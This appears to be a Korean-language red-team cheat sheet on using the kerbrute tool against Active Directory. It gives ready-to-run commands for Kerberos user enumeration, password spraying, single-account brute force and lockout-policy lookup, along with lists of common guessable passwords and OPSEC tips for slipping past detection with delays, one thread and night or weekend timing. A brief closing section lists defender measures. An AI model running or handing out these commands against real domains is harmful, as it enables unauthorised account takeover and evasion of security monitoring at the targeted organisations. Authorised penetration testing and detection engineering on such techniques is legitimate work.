ATT&CK: T1110.003 Password Spraying, T1589.002 Email Addresses (user enum) · Credential Access (TA0006)

kerbrute는 Kerberos AS-REQ만 보내 인증 성공·실패를 로그에 많이 남기지 않고 사용자명을 열거하고 패스워드를 스프레이하는 Go 도구. 로그온 이벤트가 아닌 Kerberos 이벤트로 떨어져서 **4625(실패 로그온)**로 안 보임 (대신 4768/4771 Kerberos pre-auth 실패로 보이긴 함).

1. 설치

go install github.com/ropnop/kerbrute@latest

2. 사용자 열거

kerbrute userenum \
  --dc 10.0.0.10 \
  -d corp.local \
  users.txt
  • 유효 사용자: [+] VALID USERNAME: alice@corp.local
  • 없는 사용자: 응답 자체가 다르다 (Pre-auth required vs User doesn’t exist).

사용자 리스트 소스:

  • OSINT (LinkedIn, 회사 이메일 패턴 → first.last, flast)
  • SharpHound 결과
  • SecLists Usernames/Names/names.txt

3. 패스워드 스프레이

중요: 사용자별 다른 패스워드가 아니라, 동일 패스워드를 많은 사용자에게. 계정 잠금 임계치 회피가 포인트.

kerbrute passwordspray \
  --dc 10.0.0.10 \
  -d corp.local \
  users-valid.txt \
  'Winter2025!'

성공 시: [+] VALID LOGIN: alice@corp.local:Winter2025!

4. 흔한 패스워드 패턴

패턴 예
계절 + 연도 Summer2025!, Winter2024
회사명 변형 Corp2025!, Company123
Password 변형 P@ssw0rd1!, Welcome1
월 + 숫자 January2025!

사전은 brutespray, OneRuleToRuleThemAll, Password-Spray-Attacks 등 공개된 거 쓰기.

5. 다중 패스워드 (주의!)

파일 입력도 가능:

kerbrute bruteuser --dc 10.0.0.10 -d corp.local passwords.txt alice
  • brute-force는 계정 잠금 유발. 반드시 lockout threshold 확인 후.
  • 보통 “N-1 번만” 시도하는 방식으로 안전 패딩.

6. 계정 잠금 임계치 사전 조회

도메인 정책 확인:

# AD 접근 가능하면
Get-ADDefaultDomainPasswordPolicy

# Impacket + LDAP
impacket-ldapsearch 'CORP/alice:pw@dc01' \
  -base-dn 'DC=corp,DC=local' \
  '(objectClass=domain)' lockoutThreshold lockoutDuration lockoutObservationWindow

Threshold가 5면 동일 계정에 4회까지만 시도. 스프레이 간격은 lockoutObservationWindow보다 길게.

7. OPSEC

  • Kerbrute는 TCP 포트 88만 사용 — 네트워크 지문 특이.
  • DC Event **4771 (Kerberos pre-auth failed)**이 짧은 시간에 다수 사용자 대상 발생하면 즉시 탐지됨.
  • 완화: --delay 추가, 스레드 축소(-t 1), 시간 분산 (주말/야간).
kerbrute passwordspray --dc 10.0.0.10 -d corp.local --delay 500 users.txt 'Pw!' -t 1

8. 방어자

  • Event 4625/4771을 사용자 다수 × 짧은 시간 패턴으로 집계 (SIGMA 룰 공개됨).
  • Smart Lockout(Azure AD) 또는 FIDO2 전환.
  • 공통 패스워드 금지 리스트(Have I Been Pwned password API 연동).

참고